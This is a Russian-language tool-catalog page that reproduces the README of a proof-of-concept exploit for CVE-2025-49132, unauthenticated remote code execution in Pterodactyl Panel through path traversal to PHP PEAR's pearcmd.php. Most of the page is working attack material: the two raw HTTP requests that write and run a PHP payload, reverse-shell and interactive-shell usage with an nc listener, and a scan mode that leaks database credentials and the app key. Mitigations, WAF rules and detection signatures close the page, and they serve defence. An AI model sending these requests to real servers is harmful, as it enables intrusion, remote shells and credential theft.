Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Инструменты/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Репозиторий
3156 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-49132: Неаутентифицированное удаленное выполнение кода в Pterodactyl Panel через метод PHP PEAR

CVSSv3 License Python

Содержание

  • Обзор
  • Детали уязвимости
  • Технический анализ
  • Поток эксплуатации
  • Установка
  • Использование
  • Примеры
  • Меры по смягчению
  • Отказ от ответственности
  • Ссылки
  • Автор

Обзор

Этот репозиторий содержит доказательство концепции (PoC) эксплуатации CVE-2025-49132 — критической уязвимости, позволяющей неаутентифицированному злоумышленнику удаленно выполнять код в Pterodactyl Panel версий до 1.11.11.

Pterodactyl Panel — это бесплатная панель управления игровыми серверами с открытым исходным кодом, написанная на PHP. Уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные системные команды на целевом сервере из-за некорректной обработки конечной точки в сочетании с функциональностью из PHP PEAR.

Скачать инструмент
/locales/locale.json
pearcmd.php

Сводка уязвимости

  • CVE ID: CVE-2025-49132
  • Оценка CVSS: 10.0 (Critical)
  • Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: Некорректный контроль генерации кода ('Code Injection')
  • Затронутые версии: Pterodactyl Panel < 1.11.11
  • Сложность атаки: Низкая
  • Необходимые привилегии: Нет (неаутентифицированно)
  • Взаимодействие с пользователем: Нет

Детали уязвимости

Что такое PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) — это фреймворк и система распространения повторно используемых компонентов PHP. Он предоставляет инструмент командной строки (pearcmd.php), который может использоваться для управления пакетами PEAR.

Файл pearcmd.php обрабатывает команды через параметры URL, и в сочетании с обходом пути (path traversal) его можно использовать для:

  1. Создания произвольных PHP-файлов в системе
  2. Выполнения этих файлов через веб-сервер

Основная причина

Уязвимость существует из-за:

  1. Непроверенного обхода пути: Параметр locale в /locales/locale.json допускает обход пути без надлежащей проверки
  2. Прямого включения файла: Приложение напрямую включает файлы на основе данных, полученных от пользователя
  3. Внедрения команды PEAR: Скрипт pearcmd.php принимает команду +config-create, которая может записывать произвольные PHP-файлы
  4. Неаутентифицированного доступа: Уязвимая конечная точка не требует аутентификации

Вектор атаки

Злоумышленник может:

  1. Использовать обход пути для доступа к каталогу установки PEAR
  2. Злоупотребить командой config-create для записи вредоносного PHP-кода в /tmp
  3. Выполнить вредоносный PHP-файл через ту же конечную точку
  4. Достичь полного удаленного выполнения кода от имени пользователя веб-сервера

Технический анализ

Процесс эксплуатации

Эксплойт работает в два этапа:

Этап 1: Создание нагрузки

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Разбор:

  • +config-create+/ - Вызывает функцию создания конфигурации PEAR
  • locale=../../../../../../usr/share/php/PEAR - Обход пути к каталогу PEAR
  • namespace=pearcmd - Нацеливается на файл pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - PHP-нагрузка и целевой файл

Этап 2: Выполнение нагрузки

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Разбор:

  • locale=../../../../../../tmp - Обход пути к каталогу /tmp
  • namespace=payload - Включает и выполняет payload.php

Почему URL-кодирование ломает эксплойт

Эксплойт требует отправки специальных символов (<, >, ?, =) в URL без их кодирования. Если эти символы URL-закодированы:

  • <?=system('id')?> становится %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR интерпретирует это как буквенный текст, а не PHP-код
  • Теги PHP не распознаются, что предотвращает выполнение кода

Поток эксплуатации

root@kitploit:~
graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Диаграмма потока атаки

root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

Установка

Предварительные требования

  • Python 3.6 или выше
  • Библиотека requests

Клонирование репозитория

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Установка зависимостей

root@kitploit:~
pip3 install -r requirements.txt

Или вручную:

root@kitploit:~
pip3 install requests

Использование

Выполнение базовой команды

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

Обратная оболочка

root@kitploit:~
# На машине атакующего запустите слушатель
nc -lvnp 4444

# Выполните эксплойт с обратной оболочкой
python3 poc.py -H <target_host> -r <your_ip>:4444

Интерактивная псевдо-оболочка

root@kitploit:~
python3 poc.py -H <target_host> --shell

Фаззинг для поиска установок PEAR

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

Сканирование на уязвимость

root@kitploit:~
python3 poc.py -H <target_host> --scan

Проверяет CVE-2025-49132 через утечки конфигурации (учетные данные базы данных, ключ приложения).

Пользовательский путь PEAR

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Подробный вывод

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

Показывает детальный прогресс (создание нагрузки, путь PEAR, статус выполнения).

Все опции

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

опциональные аргументы:
  -h, --help            показать это справочное сообщение и выйти
  -H HOST, --host HOST  Целевой хост (например, 192.168.1.100 или example.com)
  -c COMMAND            Команда для выполнения на целевой системе
  -r REVERSE_SHELL      Обратная оболочка (формат: LHOST:LPORT)
  --shell               Режим интерактивной псевдо-оболочки
  --fuzz                Фаззинг путей установки PEAR
  --scan                Сканирование цели на уязвимость (утечки конфигурации)
  -p PEAR_PATH          Пользовательский путь PEAR (по умолчанию: /usr/share/php/PEAR)
  -e ENDPOINT           Уязвимая конечная точка (по умолчанию: /locales/locale.json)
  --ssl                 Использовать HTTPS
  --timeout TIMEOUT     Таймаут запроса в секундах (по умолчанию: 10)
  -v, --verbose         Подробный вывод прогресса

Примеры

Пример 1: Выполнение базовой команды

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Вывод команды:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Используйте -v для подробного вывода (детали нагрузки, путь PEAR и т.д.).

Пример 2: Обратная оболочка

root@kitploit:~
# Терминал 1: Запустите слушатель
$ nc -lvnp 4444
listening on [any] 4444 ...

# Терминал 2: Выполните эксплойт
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Убедитесь, что ваш слушатель запущен: nc -lvnp 4444

# Терминал 1: Получение подключения
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

Пример 3: Интерактивная псевдо-оболочка

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

Пример 4: Фаззинг путей PEAR

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Найдено 3 потенциальных установки PEAR:
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Используйте флаг -p с одним из этих путей для эксплуатации

Используйте -v, чтобы видеть прогресс фаззинга по каждому пути.

Пример 5: Сканер уязвимости

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Сканирование: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] УЯЗВИМО - Утекли учетные данные базы данных
    Хост:     127.0.0.1
    Порт:     3306
    База:     panel
    Пользователь: pterodactyl
    Пароль:   ********
    Подключение: pterodactyl:********@127.0.0.1:3306/panel
[+] УЯЗВИМО - Утекли настройки приложения
    Ключ приложения: base64{...}
    [!] ПРЕДУПРЕЖДЕНИЕ БЕЗОПАСНОСТИ: APP_KEY раскрыт!
-------------------------------------------------------
[+] Цель УЯЗВИМА к CVE-2025-49132

Меры по смягчению

Немедленные действия

  1. Обновите Pterodactyl Panel

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    Обновитесь до версии 1.11.11 или новее.

  2. Отключите уязвимую конечную точку (Временное решение)

    Добавьте в конфигурацию вашего веб-сервера:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    Примечание: Это нарушит работу функций локализации.

  3. Межсетевой экран веб-приложений (WAF)

    Внедрите правила WAF для блокировки попыток обхода пути:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

Долгосрочные решения

  1. Проверка входных данных: Внедрите строгую проверку параметров locale и namespace
  2. Санитизация путей: Используйте realpath() для разрешения и проверки путей к файлам
  3. Подход по белому списку: Разрешайте только конкретные, предопределенные значения локали
  4. Аутентификация: Требуйте аутентификацию для конечных точек локали
  5. Аудиты безопасности: Регулярные оценки безопасности и тестирование на проникновение

Обнаружение

Анализ логов - Ищите подозрительные закономерности:

root@kitploit:~
# Логи доступа Apache/Nginx
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Ищите файлы нагрузки
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

Сигнатуры IDS/IPS:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ

Эта доказательство концепции эксплуатации предоставляется исключительно для образовательных целей и авторизованного тестирования безопасности. Автор не несет ответственности за неправомерное использование или ущерб, причиненный данной программой.

Правовое уведомление

  • ✅ ДЕЛАЙТЕ: Используйте этот инструмент для авторизованного тестирования на проникновение и исследований безопасности
  • ✅ ДЕЛАЙТЕ: Используйте этот инструмент в системах, которыми вы владеете или на тестирование которых имеете явное разрешение
  • ✅ ДЕЛАЙТЕ: Используйте этот инструмент для проверки исправлений и мер безопасности
  • ❌ НЕ ДЕЛАЙТЕ: Используйте этот инструмент против систем без явного разрешения
  • ❌ НЕ ДЕЛАЙТЕ: Используйте этот инструмент в злонамеренных целях
  • ❌ НЕ ДЕЛАЙТЕ: Развертывайте этот инструмент в производственных средах без надлежащих мер контроля

Несанкционированный доступ к компьютерным системам незаконен. Пользователи несут ответственность за соблюдение применимых законов и нормативных актов.

Ссылки

  • CVE-2025-49132 - NVD
  • GitHub Advisory: GHSA-24wv-6c99-f843
  • Pterodactyl Panel Security Advisory
  • PHP PEAR Documentation
  • CWE-94: Code Injection

Автор

xffsec

Контакт
GitHub: @xffsec
Email: [email protected]

Лицензия

Этот проект лицензирован на условиях лицензии MIT — подробности см. в файле LICENSE.

Вклад

Приветствуются вклады, вопросы и запросы новых функций! Не стесняйтесь открывать issue или отправлять pull request.

Благодарности

  • Команда разработчиков Pterodactyl Panel за их процесс ответственного раскрытия
  • Сообщество исследователей безопасности
  • HackTheBox за предоставление безопасной среды для отработки этих техник

⚠️ Помните: Всегда практикуйте ответственное раскрытие и никогда не эксплуатируйте уязвимости без надлежащего разрешения.